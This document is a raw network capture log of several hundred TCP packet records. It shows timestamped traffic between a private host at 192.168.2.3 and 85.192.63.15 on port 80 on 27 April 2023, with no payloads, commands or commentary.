Apr 27, 2023 07:41:59.589867115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.589898109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.589917898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.589953899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.593184948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.593240023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.593271017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.593291044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.593291044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.593316078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.593319893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.593355894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.593384981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.593404055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.595052004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.595102072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.595138073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.595146894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.595161915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.595202923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.595207930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.595254898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.595277071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.595333099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.612912893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.612955093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.612998962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.613042116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.613065004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.613065958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.613065958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.613075972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.613117933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.613132954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.613132954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.613172054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.713602066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.738950968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782526970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782589912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782639027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782674074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782717943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782763004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782774925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782774925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782774925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782774925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782774925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782808065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782849073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.782855988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782855988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.782895088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.795774937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.795844078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.795921087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.795936108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.795965910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.795995951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.795995951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796011925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796020031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796075106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796088934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796124935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796153069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796171904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796195030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796219110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796263933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796264887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796310902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796314955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796314955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796372890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796376944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796427965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796438932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796468973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796485901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796516895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796530962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796566010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796575069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796614885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796633959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796664000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796672106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796711922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796717882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796760082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796768904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796807051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796821117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796854973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796864033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796891928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796911001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796938896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796948910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.796977997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.796994925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.797034025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.808692932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.808748960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.808805943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.808832884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.808861017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.808871031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.808890104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.808919907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.808923006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.808957100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.808973074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809003115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809009075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809036970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809056997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809082031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809092999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809129000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809137106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809175968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809181929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809222937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809228897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809269905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809276104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809317112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809336901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809350967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809375048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809401989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809406042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809448004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809457064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809489965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809500933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809544086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809639931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809686899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809710026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809722900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809752941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809767962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809770107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809804916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809823036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809849977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809863091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809899092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809904099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809937000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809951067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.809983015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.809988976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810030937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810039997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810065985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810084105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810112000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810122967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810159922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810163975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810206890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810213089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810244083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810262918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810298920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810687065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810735941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810776949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810781956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810796022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810817957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810836077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810864925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810873985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810911894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810916901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.810957909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.810965061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.811003923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.811009884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.811049938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.811057091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.811095953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.811104059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.811132908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.811163902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.811181068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821592093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821646929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821697950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821722031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821744919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821779013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821779013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821784973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821804047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821834087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821841002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821882010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821890116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821916103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821935892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.821963072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.821974039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822001934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822025061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822048903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822058916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822098970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822110891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822134972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822153091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822181940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822187901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822231054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822235107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822278023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822282076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822324991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822331905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822361946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822379112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822412968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822432041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822462082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822462082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822510004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822520971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822551966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822565079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822609901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.822935104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.822982073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823014021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823029041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823038101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823076963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823085070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823123932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823168993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823170900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823216915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823236942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823236942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823263884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823291063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823309898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823357105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823339939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823419094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823385954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823513985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823514938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.823919058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823967934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.823988914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824017048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824038982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824065924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824079037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824114084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824136019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824150085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824178934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824197054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824219942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824251890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824273109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824299097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824321985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824346066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824371099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824394941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824415922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824434996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824506044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824506044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824826002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824870110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824908018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.824932098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824932098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.824990034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.834799051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.834865093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.834912062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.834950924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.834940910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.834940910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.834995985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835033894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835082054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835063934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835063934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835063934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835128069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835154057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835154057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835167885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835205078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835215092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835223913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835262060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835273981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835304022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835320950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835351944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835361004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835427046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835432053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835481882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835503101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835530043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835541964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835577011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835585117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835613966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835630894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835659981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835663080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835705042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835711002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835746050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835757971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835793972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835809946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.835829020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.835844994 CEST	49697	80	192.168.2.3	85.192.63.15
